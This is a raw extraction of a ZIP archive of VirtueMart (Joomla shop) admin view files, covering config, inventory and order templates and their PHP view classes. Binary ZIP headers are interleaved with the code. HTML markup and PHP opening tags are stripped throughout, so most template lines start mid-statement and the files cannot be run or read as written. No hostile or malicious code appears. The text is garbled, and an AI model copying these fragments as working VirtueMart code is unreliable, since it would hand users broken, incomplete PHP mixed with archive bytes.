        orderStatusModel->renderOSList(VmConfig::get('rr_os',array('C')),'rr_os',TRUE); ?>
        PK@y>\et ;components/com_virtuemart/views/config/tmpl/default_sef.phpnuW+A
        PK@y>\WcjcjAcomponents/com_virtuemart/views/config/tmpl/default_templates.phpnuW+A
        jTemplateList, 'vmtemplate', 'size=1 width=200', 'value', 'name', VmConfig::get('vmtemplate', 'default')); ?>
        jTemplateList, 'categorytemplate', 'size=1', 'value', 'name', VmConfig::get('categorytemplate', 'default')); ?>
        categoryLayoutList, 'categorylayout', 'size=1', 'value', 'text', VmConfig::get('categorylayout', 0)); ?>
        productLayoutList, 'productlayout', 'size=1', 'value', 'text', VmConfig::get('productlayout', 0)); ?>
        noimagelist, 'no_image_set', 'size=1', 'value', 'text', VmConfig::get('no_image_set')); ?>
        noimagelist, 'no_image_found', 'size=1', 'value', 'text', VmConfig::get('no_image_found')); ?>
        vmLayoutList, 'vmlayout', 'size=1', 'value', 'text', VmConfig::get('vmlayout', 0)); ?>
        PK@y>\0^ ^ Ecomponents/com_virtuemart/views/config/tmpl/default_product_order.phpnuW+A
        orderByFieldsProduct->select, 'browse_orderby_field', 'size=1', 'value', 'text', VmConfig::get('browse_orderby_field', 'product_name'), 'product_name'); $orderDirs[] = JHTML::_('select.option', 'ASC' , JText::_('Ascending')) ; $orderDirs[] = JHTML::_('select.option', 'DESC' , JText::_('Descending')) ; echo JHTML::_('select.genericlist', $orderDirs, 'prd_brws_orderby_dir', 'size=10', 'value', 'text', VmConfig::get('prd_brws_orderby_dir', 'ASC') ); ?> orderByFieldsCat, 'browse_cat_orderby_field', 'size=1', 'value', 'text', VmConfig::get('browse_cat_orderby_field', 'category_name'), 'category_name'); echo JHTML::_('select.genericlist', $orderDirs, 'cat_brws_orderby_dir', 'size=10', 'value', 'text', VmConfig::get('cat_brws_orderby_dir', 'ASC') ); ?>
        orderByFieldsProduct->checkbox; ?>
        searchFields->checkbox; ?>
        PK@y>\)*[<components/com_virtuemart/views/config/tmpl/default_shop.phpnuW+A
        currConverterList, 'currency_converter_module', 'size=1', 'value', 'text', VmConfig::get('currency_converter_module', 'convertECB.php')); ?>
        activeLanguages; ?> Translations'); ?>
        JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_NONE'), 'admin' => JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ADMIN'), 'all' => JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ALL') ); echo VmHTML::radioList('debug_enable', VmConfig::get('debug_enable', 'none'), $options); ?>
        JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_NONE'), 'admin' => JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_ADMIN') // 'all' => JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ALL') ); echo VmHTML::radioList('multix', VmConfig::get('multix', 'none'), $options); ?>
        PK@y>\)aUU4components/com_virtuemart/views/config/view.html.phpnuW+AaddStandardEditViewCommands(); $config = VmConfig::loadConfig(); if(!empty($config->_params)){ unset ($config->_params['pdf_invoice']); // parameter remove and replaced by inv_os } $this->assignRef('config', $config); $mainframe = JFactory::getApplication(); $this->assignRef('joomlaconfig', $mainframe); $userparams = JComponentHelper::getParams('com_users'); $this->assignRef('userparams', $userparams); $templateList = ShopFunctions::renderTemplateList(JText::_('COM_VIRTUEMART_ADMIN_CFG_JOOMLA_TEMPLATE_DEFAULT')); $this->assignRef('jTemplateList', $templateList); $vmLayoutList = $model->getLayoutList('virtuemart'); $this->assignRef('vmLayoutList', $vmLayoutList); $categoryLayoutList = $model->getLayoutList('category'); $this->assignRef('categoryLayoutList', $categoryLayoutList); $productLayoutList = $model->getLayoutList('productdetails'); $this->assignRef('productLayoutList', $productLayoutList); $noimagelist = $model->getNoImageList(); $this->assignRef('noimagelist', $noimagelist); $orderStatusModel=VmModel::getModel('orderstatus'); $this->assignRef('orderStatusModel', $orderStatusModel); $currConverterList = $model->getCurrencyConverterList(); $this->assignRef('currConverterList', $currConverterList); $moduleList = $model->getModuleList(); $this->assignRef('moduleList', $moduleList); $activeLanguages = $model->getActiveLanguages( VmConfig::get('active_languages') ); $this->assignRef('activeLanguages', $activeLanguages); $orderByFieldsProduct = $model->getProductFilterFields('browse_orderby_fields'); $this->assignRef('orderByFieldsProduct', $orderByFieldsProduct); VmModel::getModel('category'); foreach (VirtueMartModelCategory::$_validOrderingFields as $key => $field ) { if($field=='c.category_shared') continue; $fieldWithoutPrefix = $field; $dotps = strrpos($fieldWithoutPrefix, '.'); if($dotps!==false){ $prefix = substr($field, 0,$dotps+1); $fieldWithoutPrefix = substr($field, $dotps+1); } $text = JText::_('COM_VIRTUEMART_'.strtoupper($fieldWithoutPrefix)) ; $orderByFieldsCat[] = JHTML::_('select.option', $field, $text) ; } //$orderByFieldsCat = $model->get; $this->assignRef('orderByFieldsCat', $orderByFieldsCat); $searchFields = $model->getProductFilterFields( 'browse_search_fields'); $this->assignRef('searchFields', $searchFields); $aclGroups = $usermodel->getAclGroupIndentedTree(); $this->assignRef('aclGroups', $aclGroups); if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); $vmtemplate = shopFunctionsF::loadVmTemplateStyle(); if(is_Dir(JPATH_ROOT.DS.'templates'.DS.$vmtemplate.DS.'images'.DS.'availability'.DS)){ $imagePath = '/templates/'.$vmtemplate.'/images/availability/'; } else { $imagePath = '/components/com_virtuemart/assets/images/availability/'; } $this->assignRef('imagePath', $imagePath); shopFunctions::checkSafePath(); $this -> checkVmUserVendor(); parent::display($tpl); } private function checkVmUserVendor(){ $db = JFactory::getDBO(); $multix = Vmconfig::get('multix','none'); $q = 'select * from #__virtuemart_vmusers where user_is_vendor = 1';// and virtuemart_vendor_id '.$vendorWhere.' limit 1'; $db->setQuery($q); $r = $db->loadAssocList(); if (empty($r)){ vmWarn('Your Virtuemart installation contains an error: No user as marked as vendor. Please fix this in your phpMyAdmin and set #__virtuemart_vmusers.user_is_vendor = 1 and #__virtuemart_vmusers.virtuemart_vendor_id = 1 to one of your administrator users. Please update all users to be associated with virtuemart_vendor_id 1.'); } else { if($multix=='none' and count($r)!=1){ vmWarn('You are using single vendor mode, but it seems more than one user is set as vendor'); } foreach($r as $entry){ if(empty($entry['virtuemart_vendor_id'])){ vmWarn('The user with virtuemart_user_id = '.$entry['virtuemart_user_id'].' is set as vendor, but has no referencing vendorId.'); } } } } } // pure php no closing tag PK@y>\#o,,1components/com_virtuemart/views/config/index.htmlnuW+APK@y>\)3components/com_virtuemart/views/inventory/.htaccessnuW+A Order allow,deny Deny from all PK@y>\4components/com_virtuemart/views/inventory/index.htmlnuW+APK@y>\9components/com_virtuemart/views/inventory/tmpl/index.htmlnuW+APK@y>\)8components/com_virtuemart/views/inventory/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ao:components/com_virtuemart/views/inventory/tmpl/default.phpnuW+A
        inventorylist) > 0) { $i = 0; $k = 0; $keyword = vRequest::uword ('keyword', "", ' ,-,+,.,_,#,/'); foreach ($this->inventorylist as $key => $product) { $checked = JHTML::_('grid.id', $i , $product->virtuemart_product_id); $published = JHTML::_('grid.published', $product, $i ); // if ( $product->product_in_stock - $product->product_ordered < 1) $stockstatut ="out"; elseif ( $product->product_in_stock - $product->product_ordered < $product->low_stock_notification ) $stockstatut ="low"; else $stockstatut = "normal"; $stockstatut='class="stock-'.$stockstatut.'" title="'.jText::_('COM_VIRTUEMART_STOCK_LEVEL_'.$stockstatut).'"'; ?> virtuemart_product_id.'&product_parent_id='.$product->product_parent_id; ?>
        sort('product_name') ?> sort('product_sku')?> sort('product_in_stock','COM_VIRTUEMART_PRODUCT_FORM_IN_STOCK') ?> sort('product_price','COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST') ?> sort('product_price', 'COM_VIRTUEMART_PRODUCT_INVENTORY_PRICE') ?> sort('product_weight','COM_VIRTUEMART_PRODUCT_INVENTORY_WEIGHT') ?> sort('published')?>
        product_name, array('title' => JText::_('COM_VIRTUEMART_EDIT').' '.$product->product_name)); ?> product_sku; ?> >product_in_stock; ?> width="5%">product_ordered; ?> product_price_display; ?> product_instock_value; ?> product_weight." ". $product->weigth_unit_display; ?>
        pagination->getListFooter(); ?>
        PK@y>\˨Q 7components/com_virtuemart/views/inventory/view.html.phpnuW+AaddStandardDefaultViewLists($model); $inventorylist = $model->getProductListing(false,false); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); // Apply currency $currencydisplay = CurrencyDisplay::getInstance(); foreach ($inventorylist as $virtuemart_product_id => $product) { //TODO oculd be interesting to show the price for each product, and all stored ones $product->product_in_stock $product->product_instock_value = $currencydisplay->priceDisplay($product->product_price,'',$product->product_in_stock,false); $product->product_price_display = $currencydisplay->priceDisplay($product->product_price,'',1,false); $product->weigth_unit_display= ShopFunctions::renderWeightUnit($product->product_weight_uom); } $this->assignRef('inventorylist', $inventorylist); $options = array(); $options[] = JHTML::_('select.option', '', JText::_('COM_VIRTUEMART_DISPLAY_STOCK').':'); $options[] = JHTML::_('select.option', 'stocklow', JText::_('COM_VIRTUEMART_STOCK_LEVEL_LOW')); $options[] = JHTML::_('select.option', 'stockout', JText::_('COM_VIRTUEMART_STOCK_LEVEL_OUT')); $this->lists['stockfilter'] = JHTML::_('select.genericlist', $options, 'search_type', 'onChange="document.adminForm.submit(); return false;"', 'value', 'text', JRequest::getVar('search_type')); $this->lists['filter_product'] = JRequest::getVar('filter_product'); // $this->assignRef('lists', $lists); /* Toolbar */ $this->SetViewTitle('PRODUCT_INVENTORY'); JToolBarHelper::publish(); JToolBarHelper::unpublish(); parent::display($tpl); } } // pure php no closing tag PK@y>\6components/com_virtuemart/views/orders/tmpl/index.htmlnuW+APK@y>\&z33;components/com_virtuemart/views/orders/tmpl/order_print.phpnuW+A\ަ@components/com_virtuemart/views/orders/tmpl/order_editstatus.phpnuW+AaddScriptDeclaration ( " function cancelOrderStatFormEdit(e) { jQuery('#orderStatForm').each(function(){ this.reset(); }); jQuery('#order_items_status') .find('option:selected').prop('selected', true) .end().trigger('liszt:updated'); jQuery('div#updateOrderStatus').hide(); e.preventDefault(); } "); ?>

        orderStatSelect; ?>


        orderID.'][update_lines]', true); ?>
              
        PK@y>\X8 5components/com_virtuemart/views/orders/tmpl/order.phpnuW+AaddScriptDeclaration ( " jQuery( function($) { $('.orderedit').hide(); $('.ordereditI').show(); $('.orderedit').css('backgroundColor', 'lightgray'); jQuery('.updateOrderItemStatus').click(function() { document.orderItemForm.task.value = 'updateOrderItemStatus'; document.orderItemForm.submit(); return false }); jQuery('select#virtuemart_paymentmethod_id').change(function(){ jQuery('span#delete_old_payment').show(); jQuery('input#delete_old_payment').attr('checked','checked'); }); }); function enableEdit(e) { jQuery('.orderedit').each( function() { var d = jQuery(this).css('visibility')=='visible'; jQuery(this).toggle(); jQuery('.orderedit').css('backgroundColor', d ? 'white' : 'lightgray'); jQuery('.orderedit').css('color', d ? 'blue' : 'black'); }); jQuery('.ordereditI').each( function() { jQuery(this).toggle(); }); e.preventDefault(); }; function addNewLine(e,i) { var row = jQuery('#itemTable').find('tbody tr:first').html(); var needle = 'item_id['+i+']'; //var needle = new RegExp('item_id['+i+']','igm'); while (row.contains(needle)){ row = row.replace(needle,'item_id[0]'); } //alert(needle); jQuery('#itemTable').find('tbody').prepend(''+row+''); e.preventDefault(); }; function cancelEdit(e) { jQuery('#orderItemForm').each(function(){ this.reset(); }); jQuery('.selectItemStatusCode') .find('option:selected').prop('selected', true) .end().trigger('liszt:updated'); jQuery('.orderedit').hide(); jQuery('.ordereditI').show(); e.preventDefault(); } function resetOrderHead(e) { jQuery('#orderForm').each(function(){ this.reset(); }); jQuery('select#virtuemart_paymentmethod_id') .find('option:selected').prop('selected', true) .end().trigger('liszt:updated'); jQuery('select#virtuemart_shipmentmethod_id') .find('option:selected').prop('selected', true) .end().trigger('liszt:updated'); e.preventDefault(); } "); ?>
          
        orderbt->virtuemart_order_id . '&order_number=' .$this->orderbt->order_number. '&order_pass=' .$this->orderbt->order_pass; $print_link = ""; $print_link .= $this->orderbt->order_number . ' '; ?> orderbt->coupon_code) { ?> orderbt->invoiceNumber and !shopFunctions::InvoiceNumberReserved($this->orderbt->invoiceNumber) ) { $invoice_url = juri::root().'index.php?option=com_virtuemart&view=invoice&layout=invoice&format=pdf&tmpl=component&virtuemart_order_id=' . $this->orderbt->virtuemart_order_id . '&order_number=' .$this->orderbt->order_number. '&order_pass=' .$this->orderbt->order_pass; $invoice_link = ""; $invoice_link .= $this->orderbt->invoiceNumber . '';?>
        orderbt->order_pass;?>
        orderbt->created_on,'LC2',true); ?>
        orderstatuslist[$this->orderbt->order_status]; ?>
        orderbt->company ? $this->orderbt->company." ":""; $username.=$this->orderbt->first_name." ".$this->orderbt->last_name." "; if ($this->orderbt->virtuemart_user_id) { $userlink = JROUTE::_ ('index.php?option=com_virtuemart&view=user&task=edit&virtuemart_user_id[]=' . $this->orderbt->virtuemart_user_id); echo JHTML::_ ('link', JRoute::_ ($userlink), $username, array('title' => JText::_ ('COM_VIRTUEMART_ORDER_EDIT_USER') . ' ' . $username)); } else { echo $this->orderbt->first_name.' '.$this->orderbt->last_name; } ?>
        orderbt->ip_address; ?>
        orderbt->coupon_code; ?>
        orderdetails['history'] as $this->orderbt_event ) { echo ""; echo "\n"; if ($this->orderbt_event->customer_notified == 1) { echo ''; } else { echo ''; } if(!isset($this->orderstatuslist[$this->orderbt_event->order_status_code])){ if(empty($this->orderbt_event->order_status_code)){ $this->orderbt_event->order_status_code = 'unknown'; } $_orderStatusList[$this->orderbt_event->order_status_code] = JText::_('COM_VIRTUEMART_UNKNOWN_ORDER_STATUS'); } echo ''; echo "\n"; echo "\n"; } ?> trigger('plgVmOnUpdateOrderBEPayment',array($this->orderID)); $_returnValues2 = $_dispatcher->trigger('plgVmOnUpdateOrderBEShipment',array( $this->orderID)); $_returnValues = array_merge($_returnValues1, $_returnValues2); $_plg = ''; foreach ($_returnValues as $_returnValue) { if ($_returnValue !== null) { $_plg .= (' \n"); } } if ($_plg !== '') { echo "\n$_plg\n"; } ?>
        ". vmJsApi::date($this->orderbt_event->created_on,'LC2',true) ."'.JText::_('COM_VIRTUEMART_YES').''.JText::_('COM_VIRTUEMART_NO').''.$this->orderstatuslist[$this->orderbt_event->order_status_code].'".$this->orderbt_event->comments."
        ' . $_returnValue . "
        orderbt->customer_note || true) { ?>
        getPayments(); $model = VmModel::getModel('shipmentmethod'); $shipments = $model->getShipments(); ?>
        virtuemart_paymentmethod_id == $this->orderbt->virtuemart_paymentmethod_id) echo $payment->payment_name; } ?>
        virtuemart_shipmentmethod_id == $this->orderbt->virtuemart_shipmentmethod_id) echo $shipment->shipment_name; } ?>
         
        userfields['fields'] as $_field ) { echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; //*/ /* $fn = $_field['name']; $fv = $_field['value']; $ft = $_field['title']; echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '."\n";*/ } ?>
        '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '.$_field['formcode']."\n"; echo '
        '."\n"; echo ' '.$ft."\n"; echo ' '."\n"; echo " \n"; echo '
        shipmentfields['fields'] as $_field ) { echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; } ?>
        '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '.$_field['formcode']."\n"; echo '
        orderdetails['items'] as $item) { ?> virtuemart_order_item_id; ?>" data-itemid="virtuemart_order_item_id; ?>">*/ ?> orderbt->coupon_discount > 0 || $this->orderbt->coupon_discount < 0) { ?> orderdetails['calc_rules'] as $rule){ if ($rule->calc_kind == 'DBTaxRulesBill') { ?> calc_kind == 'taxRulesBill') { ?> calc_kind == 'DATaxRulesBill') { ?> orderbt->user_currency_rate != 1.0) { ?>
        #
        product_quantity; ?> order_item_name; ?> order_item_name; if (!empty($item->product_attribute)) { if(!class_exists('VirtueMartModelCustomfields'))require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'customfields.php'); $product_attribute = VirtueMartModelCustomfields::CustomsFieldOrderDisplay($item,'BE'); echo '
        '.$product_attribute.'
        '; } $_dispatcher = JDispatcher::getInstance(); $_returnValues = $_dispatcher->trigger('plgVmOnShowOrderLineBEShipment',array( $this->orderID,$item->virtuemart_order_item_id)); $_plg = ''; foreach ($_returnValues as $_returnValue) { if ($_returnValue !== null) { $_plg .= $_returnValue; } } if ($_plg !== '') { echo '' . '' . '' // Indent . '' . '' . '
        '.$_plg.'
        '; } ?> virtuemart_product_id)) { ?> Product ID:
        order_item_sku; ?> itemstatusupdatefields[$item->virtuemart_order_item_id]; ?> product_discountedPriceWithoutTax = (float) $item->product_discountedPriceWithoutTax; if (!empty($item->product_priceWithoutTax) && $item->product_discountedPriceWithoutTax != $item->product_priceWithoutTax) { echo ''.$this->currency->priceDisplay($item->product_item_price) .'
        '; echo ''.$this->currency->priceDisplay($item->product_discountedPriceWithoutTax) .'
        '; } else { echo ''.$this->currency->priceDisplay($item->product_item_price) .'
        '; } ?>
        currency->priceDisplay($item->product_basePriceWithTax); ?> currency->priceDisplay($item->product_final_price); ?> currency->priceDisplay( $item->product_tax); ?> currency->priceDisplay( $item->product_subtotal_discount); ?> product_basePriceWithTax = (float) $item->product_basePriceWithTax; if(!empty($item->product_basePriceWithTax) && $item->product_basePriceWithTax != $item->product_final_price ) { echo ''.$this->currency->priceDisplay($item->product_basePriceWithTax,$this->currency,$item->product_quantity) .'
        ' ; } elseif (empty($item->product_basePriceWithTax) && $item->product_item_price != $item->product_final_price) { echo '' . $this->currency->priceDisplay($item->product_item_price,$this->currency,$item->product_quantity) . '
        '; } echo $this->currency->priceDisplay($item->product_subtotal_with_tax); ?>
                 orderStatSelect; ?>    
        orderbt->virtuemart_order_id.'&orderLineId=0&tmpl=component&task=editOrderItem'); ?>
        :
        currency->priceDisplay($this->orderbt->order_subtotal); ?>     currency->priceDisplay($this->orderbt->order_tax); ?> currency->priceDisplay($this->orderbt->order_discountAmount); ?> currency->priceDisplay($this->orderbt->order_salesPrice); ?>
                  currency->priceDisplay($this->orderbt->coupon_discount); ?>
        calc_rule_name ?> currency->priceDisplay($rule->calc_amount); ?> currency->priceDisplay($rule->calc_amount);?>
        calc_rule_name ?> currency->priceDisplay($rule->calc_amount); ?> currency->priceDisplay($rule->calc_amount); ?>
        calc_rule_name ?> currency->priceDisplay($rule->calc_amount); ?> currency->priceDisplay($rule->calc_amount); ?>
        : currency->priceDisplay($this->orderbt->order_shipment); ?>     currency->priceDisplay($this->orderbt->order_shipment_tax); ?>   currency->priceDisplay($this->orderbt->order_shipment+$this->orderbt->order_shipment_tax); ?>
        : currency->priceDisplay($this->orderbt->order_payment); ?>     currency->priceDisplay($this->orderbt->order_payment_tax); ?>   currency->priceDisplay($this->orderbt->order_payment+$this->orderbt->order_payment_tax); ?>
        :       currency->priceDisplay($this->orderbt->order_billTaxAmount); ?> currency->priceDisplay($this->orderbt->order_billDiscountAmount); ?> currency->priceDisplay($this->orderbt->order_total); ?>
        :           orderbt->user_currency_rate ?>
         
        trigger('plgVmOnShowOrderBEShipment',array( $this->orderID,$this->orderbt->virtuemart_shipmentmethod_id, $this->orderdetails)); foreach ($returnValues as $returnValue) { if ($returnValue !== null) { echo $returnValue; } } ?> trigger('plgVmOnShowOrderBEPayment',array( $this->orderID,$this->orderbt->virtuemart_paymentmethod_id, $this->orderdetails)); foreach ($_returnValues as $_returnValue) { if ($_returnValue !== null) { echo $_returnValue; } } ?>
        PK@y>\d?''6components/com_virtuemart/views/orders/tmpl/orders.phpnuW+A
        orderslist) > 0) { $i = 0; $k = 0; $keyword = JRequest::getWord ('keyword'); foreach ($this->orderslist as $key => $order) { $checked = JHTML::_ ('grid.id', $i, $order->virtuemart_order_id); ?> virtuemart_order_id; ?> virtuemart_order_id . '&order_number=' . $order->order_number . '&order_pass=' . $order->order_pass; $print_link = ""; $print_link .= ' '; $invoice_link = ''; $deliverynote_link = ''; if (!$order->invoiceNumber) { $invoice_url = juri::root () . 'index.php?option=com_virtuemart&view=invoice&layout=invoice&format=pdf&tmpl=component&virtuemart_order_id=' . $order->virtuemart_order_id . '&order_number=' . $order->order_number . '&order_pass=' . $order->order_pass . '&create_invoice=1'; $invoice_link .= "".''; } elseif (!shopFunctions::InvoiceNumberReserved ($order->invoiceNumber)) { $invoice_url = juri::root () . 'index.php?option=com_virtuemart&view=invoice&layout=invoice&format=pdf&tmpl=component&virtuemart_order_id=' . $order->virtuemart_order_id . '&order_number=' . $order->order_number . '&order_pass=' . $order->order_pass; $invoice_link = "" . ''; } if (!$order->invoiceNumber) { $deliverynote_url = juri::root () . 'index.php?option=com_virtuemart&view=invoice&layout=deliverynote&format=pdf&tmpl=component&virtuemart_order_id=' . $order->virtuemart_order_id . '&order_number=' . $order->order_number . '&order_pass=' . $order->order_pass . '&create_invoice=1'; $deliverynote_link = "" . ''; } elseif (!shopFunctions::InvoiceNumberReserved ($order->invoiceNumber)) { $deliverynote_url = juri::root () . 'index.php?option=com_virtuemart&view=invoice&layout=deliverynote&format=pdf&tmpl=component&virtuemart_order_id=' . $order->virtuemart_order_id . '&order_number=' . $order->order_number . '&order_pass=' . $order->order_pass; $deliverynote_link = "" . ''; } ?>
        sort ('order_number', 'COM_VIRTUEMART_ORDER_LIST_NUMBER') ?> sort ('order_name', 'COM_VIRTUEMART_ORDER_PRINT_NAME') ?> sort ('order_email', 'COM_VIRTUEMART_EMAIL') ?> sort ('payment_method', 'COM_VIRTUEMART_ORDER_PRINT_PAYMENT_LBL') ?> sort ('created_on', 'COM_VIRTUEMART_ORDER_CDATE') ?> sort ('modified_on', 'COM_VIRTUEMART_ORDER_LIST_MDATE') ?> sort ('order_status', 'COM_VIRTUEMART_STATUS') ?> sort ('order_total', 'COM_VIRTUEMART_TOTAL') ?> sort ('virtuemart_order_id', 'COM_VIRTUEMART_ORDER_LIST_ID') ?>
        order_number, array('title' => JText::_ ('COM_VIRTUEMART_ORDER_EDIT_ORDER_NUMBER') . ' ' . $order->order_number)); ?> virtuemart_user_id) { $userlink = JROUTE::_ ('index.php?option=com_virtuemart&view=user&task=edit&virtuemart_user_id[]=' . $order->virtuemart_user_id, FALSE); echo JHTML::_ ('link', JRoute::_ ($userlink, FALSE), $order->order_name, array('title' => JText::_ ('COM_VIRTUEMART_ORDER_EDIT_USER') . ' ' . $order->order_name)); } else { echo $order->order_name; } ?> order_email; ?> payment_method; ?> created_on, 'LC2', TRUE); ?> modified_on, 'LC2', TRUE); ?> orderstatuses, "orders[" . $order->virtuemart_order_id . "][order_status]", 'class="orderstatus_select"', 'order_status_code', 'order_status_name', $order->order_status, 'order_status' . $i, TRUE); ?>
        'show_comment')); ?>
        virtuemart_order_id . '][customer_notified]', 0) . JText::_ ('COM_VIRTUEMART_ORDER_LIST_NOTIFY'); ?>
           virtuemart_order_id . '][customer_send_comment]', 1) . JText::_ ('COM_VIRTUEMART_ORDER_HISTORY_INCLUDE_COMMENT'); ?>
        virtuemart_order_id . '][update_lines]', 1) . JText::_ ('COM_VIRTUEMART_ORDER_UPDATE_LINESTATUS'); ?>
        order_total; ?> virtuemart_order_id, array('title' => JText::_ ('COM_VIRTUEMART_ORDER_EDIT_ORDER_ID') . ' ' . $order->virtuemart_order_id)); ?>
        pagination->getListFooter (); ?>
        addStandardHiddenToForm (); ?>
        PK@y>\)5components/com_virtuemart/views/orders/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\!!4components/com_virtuemart/views/orders/view.html.phpnuW+AgetOrderStatusList(); $this->SetViewTitle( 'ORDER'); $orderModel = VmModel::getModel(); $curTask = JRequest::getWord('task'); if ($curTask == 'edit') { VmConfig::loadJLang('com_virtuemart_shoppers',TRUE); VmConfig::loadJLang('com_virtuemart_orders', true); // Load addl models $userFieldsModel = VmModel::getModel('userfields'); $productModel = VmModel::getModel('product'); // Get the data $virtuemart_order_id = JRequest::getInt('virtuemart_order_id'); $order = $orderModel->getOrder($virtuemart_order_id); $_orderID = $order['details']['BT']->virtuemart_order_id; $orderbt = $order['details']['BT']; $orderst = (array_key_exists('ST', $order['details'])) ? $order['details']['ST'] : $orderbt; $orderbt ->invoiceNumber = $orderModel->getInvoiceNumber($orderbt->virtuemart_order_id); $currency = CurrencyDisplay::getInstance('',$order['details']['BT']->virtuemart_vendor_id); $this->assignRef('currency', $currency); $_userFields = $userFieldsModel->getUserFields( 'account' , array('captcha' => true, 'delimiters' => true) // Ignore these types , array('delimiter_userinfo','user_is_vendor' ,'username','password', 'password2', 'agreed', 'address_type') // Skips ); $userfields = $userFieldsModel->getUserFieldsFilled( $_userFields ,$orderbt ,'BT_' ); $_userFields = $userFieldsModel->getUserFields( 'shipment' , array() // Default switches , array('delimiter_userinfo', 'username', 'email', 'password', 'password2', 'agreed', 'address_type') // Skips ); $shipmentfields = $userFieldsModel->getUserFieldsFilled( $_userFields ,$orderst ,'ST_' ); // Create an array to allow orderlinestatuses to be translated // We'll probably want to put this somewhere in ShopFunctions... $_orderStatusList = array(); foreach ($orderStates as $orderState) { //$_orderStatusList[$orderState->virtuemart_orderstate_id] = $orderState->order_status_name; //When I use update, I have to use this? $_orderStatusList[$orderState->order_status_code] = JText::_($orderState->order_status_name); } $_itemStatusUpdateFields = array(); $_itemAttributesUpdateFields = array(); foreach($order['items'] as $_item) { $_itemStatusUpdateFields[$_item->virtuemart_order_item_id] = JHTML::_('select.genericlist', $orderStates, "item_id[".$_item->virtuemart_order_item_id."][order_status]", 'class="selectItemStatusCode"', 'order_status_code', 'order_status_name', $_item->order_status, 'order_item_status'.$_item->virtuemart_order_item_id,true); } if(!isset($_orderStatusList[$orderbt->order_status])){ if(empty($orderbt->order_status)){ $orderbt->order_status = 'unknown'; } $_orderStatusList[$orderbt->order_status] = JText::_('COM_VIRTUEMART_UNKNOWN_ORDER_STATUS'); } /* Assign the data */ $this->assignRef('orderdetails', $order); $this->assignRef('orderID', $_orderID); $this->assignRef('userfields', $userfields); $this->assignRef('shipmentfields', $shipmentfields); $this->assignRef('orderstatuslist', $_orderStatusList); $this->assignRef('itemstatusupdatefields', $_itemStatusUpdateFields); $this->assignRef('itemattributesupdatefields', $_itemAttributesUpdateFields); $this->assignRef('orderbt', $orderbt); $this->assignRef('orderst', $orderst); $this->assignRef('virtuemart_shipmentmethod_id', $orderbt->virtuemart_shipmentmethod_id); /* Data for the Edit Status form popup */ $_currentOrderStat = $order['details']['BT']->order_status; // used to update all item status in one time $_orderStatusSelect = JHTML::_('select.genericlist', $orderStates, 'order_status', '', 'order_status_code', 'order_status_name', $_currentOrderStat, 'order_items_status',true); $this->assignRef('orderStatSelect', $_orderStatusSelect); $this->assignRef('currentOrderStat', $_currentOrderStat); /* Toolbar */ JToolBarHelper::custom( 'prevItem', 'back','','COM_VIRTUEMART_ITEM_PREVIOUS',false); JToolBarHelper::custom( 'nextItem', 'forward','','COM_VIRTUEMART_ITEM_NEXT',false); JToolBarHelper::divider(); JToolBarHelper::custom( 'cancel', 'back','back','back',false,false); } else if ($curTask == 'editOrderItem') { if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); $this->assignRef('orderstatuses', $orderStates); $model = VmModel::getModel(); $orderId = JRequest::getString('orderId', ''); $orderLineItem = JRequest::getVar('orderLineId', ''); $this->assignRef('virtuemart_order_id', $orderId); $this->assignRef('virtuemart_order_item_id', $orderLineItem); $orderItem = $model->getOrderLineDetails($orderId, $orderLineItem); $this->assignRef('orderitem', $orderItem); } else { $this->setLayout('orders'); $model = VmModel::getModel(); $this->addStandardDefaultViewLists($model,'created_on'); $orderStatusModel =VmModel::getModel('orderstatus'); $orderstates = JRequest::getWord('order_status_code',''); $this->lists['state_list'] = $orderStatusModel->renderOSList($orderstates,'order_status_code',FALSE,' onchange="this.form.submit();" '); $orderslist = $model->getOrdersList(); $this->assignRef('orderstatuses', $orderStates); if(!class_exists('CurrencyDisplay'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'currencydisplay.php'); /* Apply currency This must be done per order since it's vendor specific */ $_currencies = array(); // Save the currency data during this loop for performance reasons if ($orderslist) { foreach ($orderslist as $virtuemart_order_id => $order) { if(!empty($order->order_currency)){ $currency = $order->order_currency; } else if($order->virtuemart_vendor_id){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $currObj = VirtueMartModelVendor::getVendorCurrency($order->virtuemart_vendor_id); $currency = $currObj->virtuemart_currency_id; } //This is really interesting for multi-X, but I avoid to support it now already, lets stay it in the code if (!array_key_exists('curr'.$currency, $_currencies)) { $_currencies['curr'.$currency] = CurrencyDisplay::getInstance($currency,$order->virtuemart_vendor_id); } $order->order_total = $_currencies['curr'.$currency]->priceDisplay($order->order_total); $order->invoiceNumber = $model->getInvoiceNumber($order->virtuemart_order_id); } } /* * UpdateStatus removed from the toolbar; don't understand how this was intented to work but * the order ID's aren't properly passed. Might be readded later; the controller needs to handle * the arguments. */ /* Toolbar */ //JToolBarHelper::customX( 'CreateOrderHead', 'new','new','New',false); JToolBarHelper::save('updatestatus', JText::_('COM_VIRTUEMART_UPDATE_STATUS')); JToolBarHelper::deleteListX(); /* Assign the data */ $this->assignRef('orderslist', $orderslist); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } shopFunctions::checkSafePath(); parent::display($tpl); } } PK@y>\Q3components/com_virtuemart/views/orders/view.raw.phpnuW+AgetOrder($virtuemart_order_id); //$order = $this->get('Order'); $orderNumber = 